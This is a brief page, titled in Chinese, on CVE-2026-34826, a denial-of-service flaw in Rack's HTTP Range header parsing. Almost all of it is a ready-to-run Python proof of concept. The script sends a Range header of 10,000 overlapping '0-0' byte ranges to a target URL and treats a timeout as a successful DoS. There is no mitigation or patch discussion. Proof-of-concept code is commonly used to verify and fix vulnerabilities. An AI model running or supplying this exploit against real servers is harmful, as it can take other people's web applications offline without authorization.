CVE-2026-34826 Rack HTTP Range头解析拒绝服务漏洞

import requests def exploit_poc(url): """ PoC for CVE-2026-34826 Sends a request with a large number of overlapping byte ranges to trigger DoS. """ target_url = f"{url}/path/to/file" # Replace with actual file path # Construct a malicious Range header with many overlapping small ranges # Example: 0-0,0-0,0-0... num_ranges = 10000 malicious_range = ",".join(["0-0"] * num_ranges) headers = { "Range": f"bytes={malicious_range}" } try: print(f"Sending request with {num_ranges} ranges to {target_url}...") response = requests.get(target_url, headers=headers, timeout=10) print(f"Response Status Code: {response.status_code}") print(f"Response Headers: {response.headers}") except requests.exceptions.Timeout: print("Request timed out - Potential DoS triggered.") except Exception as e: print(f"An error occurred: {e}") if __name__ == "__main__": target = "http://localhost:3000" # Replace with target exploit_poc(target)